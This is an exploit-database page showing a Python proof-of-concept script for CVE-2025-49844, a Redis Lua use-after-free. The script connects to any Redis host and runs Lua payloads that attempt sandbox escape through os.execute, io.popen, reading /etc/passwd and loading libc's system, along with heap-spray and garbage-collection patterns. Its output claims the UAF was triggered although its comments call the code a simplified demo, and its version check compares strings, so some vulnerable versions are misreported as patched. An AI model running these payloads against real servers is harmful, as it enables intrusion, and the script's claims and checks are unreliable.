Exploit databaseDownload repository ZIP
GH-b3fed9113ef31eab88da716c33d49fc9
miclelsoncn/cve-2025-49844_poc
Sources for CVE-2025-49844
14 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
miclelsoncn/cve-2025-49844_pocRevision bcdda9a196b4
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2025-49844.py
Python · 9,832 bytes#!/usr/bin/env python3
import redis
import sys
import argparse
from colorama import Fore, Style, init
# 初始化colorama
init(autoreset=True)
def banner():
print(f"""
{Fore.RED}╔═══════════════════════════════════════════════════════════╗
║ ║
║ CVE-2025-49844 ——POC ║
║
║
║ ║
╚═══════════════════════════════════════════════════════════╝{Style.RESET_ALL}
""")
def test_connection(host, port, password=None):
"""测试与Redis实例的连接"""
try:
print(f"{Fore.YELLOW}[*] 正在测试连接到 {host}:{port}...{Style.RESET_ALL}")
r = redis.Redis(host=host, port=port, password=password, decode_responses=True)
info = r.info()
print(f"{Fore.GREEN}[+] 连接成功!{Style.RESET_ALL}")
print(f"{Fore.CYAN}[i] Redis版本: {info.get('redis_version', '未知')}{Style.RESET_ALL}")
return r
except redis.ConnectionError as e:
print(f"{Fore.RED}[-] 连接失败: {e}{Style.RESET_ALL}")
return None
except redis.AuthenticationError:
print(f"{Fore.RED}[-] 认证失败!{Style.RESET_ALL}")
return None
def check_lua_enabled(r):
"""检查Lua脚本是否启用"""
try:
print(f"{Fore.YELLOW}[*] 正在检查Lua脚本是否启用...{Style.RESET_ALL}")
# 简单的Lua脚本测试
test_script = "return 'test'"
result = r.eval(test_script, 0)
print(f"{Fore.GREEN}[+] Lua脚本已启用!{Style.RESET_ALL}")
return True
except Exception as e:
print(f"{Fore.RED}[-] Lua脚本检查失败: {e}{Style.RESET_ALL}")
return False
def exploit_uaf_basic(r):
"""
基础Use-After-Free触发
这是一个简化的演示。实际的CVE-2025-49844利用
涉及Lua解释器中的复杂内存操作。
"""
print(f"\n{Fore.YELLOW}[*] 正在尝试基础UAF触发...{Style.RESET_ALL}")
# 演示漏洞模式的Lua脚本
# 注意:这是用于演示的简化版本
lua_script = """
-- CVE-2025-49844 PoC: Lua解释器中的Use-After-Free
local function trigger_uaf()
-- 创建带有元表的表
local t = {}
local mt = {
__gc = function(self)
-- 这将在垃圾回收期间被调用
redis.log(redis.LOG_WARNING, "UAF触发点")
end
}
setmetatable(t, mt)
-- 强制多次垃圾回收
-- 这可以触发use-after-free条件
for i = 1, 10 do
collectgarbage("collect")
end
return "UAF模式已执行"
end
return trigger_uaf()
"""
try:
result = r.eval(lua_script, 0)
print(f"{Fore.GREEN}[+] Lua脚本已执行: {result}{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[!] UAF模式已触发 (简化演示){Style.RESET_ALL}")
return True
except Exception as e:
print(f"{Fore.RED}[-] 利用失败: {e}{Style.RESET_ALL}")
return False
def exploit_sandbox_escape(r):
"""
尝试Lua沙箱逃逸
实际的CVE-2025-49844允许通过内存破坏逃逸Lua沙箱。
这是沙箱边界的演示。
"""
print(f"\n{Fore.YELLOW}[*] 正在测试Lua沙箱边界...{Style.RESET_ALL}")
# 测试各种沙箱逃逸尝试
escape_tests = [
("os.execute", "return os.execute('whoami')"),
("io.popen", "return io.popen('id'):read('*a')"),
("loadfile", "return loadfile('/etc/passwd')"),
("package.loadlib", "return package.loadlib('libc.so.6', 'system')"),
]
for test_name, lua_code in escape_tests:
try:
print(f"{Fore.CYAN}[*] 正在测试 {test_name}...{Style.RESET_ALL}")
result = r.eval(lua_code, 0)
print(f"{Fore.RED}[!] 易受攻击: {test_name} 可访问!结果: {result}{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.GREEN}[+] 受保护: {test_name} 被阻止 ({str(e)[:50]}...){Style.RESET_ALL}")
def exploit_memory_corruption(r):
"""
高级内存破坏利用
这演示了CVE-2025-49844中使用的内存破坏模式。
实际的利用更复杂,涉及精确的堆操作。
"""
print(f"\n{Fore.YELLOW}[*] 正在尝试内存破坏模式...{Style.RESET_ALL}")
lua_script = """
-- CVE-2025-49844的高级UAF模式
local function create_spray()
local objects = {}
-- 堆喷射以控制内存布局
for i = 1, 1000 do
objects[i] = string.rep("A", 1024)
end
return objects
end
local function trigger_corruption()
local spray = create_spray()
-- 创建带有终结器的对象
local victim = {}
local mt = {
__gc = function(self)
-- Use-after-free触发点
-- 在实际利用中,这将操作已释放的内存
redis.log(redis.LOG_WARNING, "终结器被调用 - UAF窗口")
end
}
setmetatable(victim, mt)
-- 触发垃圾回收
victim = nil
collectgarbage("collect")
-- 在这一点上,在易受攻击的版本中,我们有一个UAF条件
-- 真正的利用现在将执行任意代码
return "内存破坏模式已完成"
end
return trigger_corruption()
"""
try:
result = r.eval(lua_script, 0)
print(f"{Fore.GREEN}[+] 内存破坏模式已执行: {result}{Style.RESET_ALL}")
print(f"{Fore.RED}[!] 在易受攻击的版本中,这可能导致RCE!{Style.RESET_ALL}")
return True
except Exception as e:
print(f"{Fore.RED}[-] 模式执行失败: {e}{Style.RESET_ALL}")
return False
def check_vulnerability(r):
"""检查Redis实例是否易受CVE-2025-49844攻击"""
print(f"\n{Fore.YELLOW}[*] 正在检查漏洞状态...{Style.RESET_ALL}")
try:
info = r.info()
version = info.get('redis_version', '')
# 易受攻击的版本(补丁前)
vulnerable_versions = [
('7.2', '7.2.11'),
('7.4', '7.4.6'),
('8.0', '8.0.4'),
('8.2', '8.2.2'),
]
print(f"{Fore.CYAN}[i] 检测到的Redis版本: {version}{Style.RESET_ALL}")
# 简单版本检查(不全面)
major_minor = '.'.join(version.split('.')[:2])
is_vulnerable = False
for vuln_base, patched_version in vulnerable_versions:
if version.startswith(vuln_base):
if version < patched_version:
is_vulnerable = True
break
if is_vulnerable:
print(f"{Fore.RED}[!] 易受攻击: 此版本受CVE-2025-49844影响{Style.RESET_ALL}")
print(f"{Fore.RED}[!] 请立即更新到最新的补丁版本!{Style.RESET_ALL}")
else:
print(f"{Fore.GREEN}[+] 此版本似乎已打补丁或不易受攻击{Style.RESET_ALL}")
return is_vulnerable
except Exception as e:
print(f"{Fore.RED}[-] 版本检查失败: {e}{Style.RESET_ALL}")
return None
def main():
parser = argparse.ArgumentParser(
description='CVE-2025-49844 (RediShell) 概念验证',
epilog='请负责任地使用,仅在您拥有或获得测试许可的系统上使用!'
)
parser.add_argument('-H', '--host', default='localhost', help='Redis主机 (默认: localhost)')
parser.add_argument('-p', '--port', type=int, default=6379, help='Redis端口 (默认: 6379)')
parser.add_argument('-a', '--auth', help='Redis密码 (如果需要)')
parser.add_argument('-m', '--mode', choices=['check', 'basic', 'sandbox', 'advanced', 'all'],
default='all', help='利用模式 (默认: all)')
args = parser.parse_args()
banner()
# 连接到Redis
r = test_connection(args.host, args.port, args.auth)
if not r:
sys.exit(1)
# 检查Lua是否启用
if not check_lua_enabled(r):
print(f"{Fore.RED}[-] Lua脚本未启用。无法继续。{Style.RESET_ALL}")
sys.exit(1)
# 检查漏洞
check_vulnerability(r)
# 根据模式运行利用
if args.mode in ['check']:
print(f"\n{Fore.CYAN}[i] 仅检查模式 - 不进行利用尝试{Style.RESET_ALL}")
elif args.mode in ['basic', 'all']:
exploit_uaf_basic(r)
if args.mode in ['sandbox', 'all']:
exploit_sandbox_escape(r)
if args.mode in ['advanced', 'all']:
exploit_memory_corruption(r)
print(f"\n{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[*] PoC执行完成{Style.RESET_ALL}")
print(f"{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
print(f"\n{Fore.RED}免责声明:{Style.RESET_ALL}")
print("注意:CVE-2025-49844利用涉及复杂的内存操作,此PoC仅用于企业内部自测是否存在安全漏洞,")
print("请在确认存在漏洞的情况下,及时升级Redis版本。")
print("禁止用于未授权的网络攻击,请确保您有相应的授权情况下使用此脚本,")
print("任何使用此脚本造成的后果和本人无关。")
if __name__ == '__main__':
main()